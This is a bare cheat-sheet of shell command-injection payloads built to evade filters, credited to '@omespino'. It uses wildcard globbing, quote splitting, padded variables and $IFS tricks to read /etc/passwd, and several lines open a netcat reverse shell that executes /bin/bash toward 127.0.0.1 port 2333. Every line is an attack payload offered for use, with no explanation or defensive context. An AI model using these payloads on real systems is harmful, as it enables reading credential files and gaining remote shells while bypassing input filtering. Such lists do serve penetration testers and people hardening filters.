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/???/c?t /???/pa??wd
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/???/n??t -e /???/b??h 127.0.0.1 2333
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/b$6in/nc$6at -e /bi$6n/ba$6sh 127.0.0.1 2333
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/b"in/n"c\at -e /b'in/ba's\h 127.0.0.1 2333
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IFS=,;
cat<<<cat,/etc/passwd -
cat$IFS/etc/passwd
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cat${IFS}/etc/passwd
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cat</etc/passwd
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{cat,/etc/passwd} OR {ls,-las,/var} with args
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X=$'cat\x20/etc/passwd'&&$X
thanks @omespino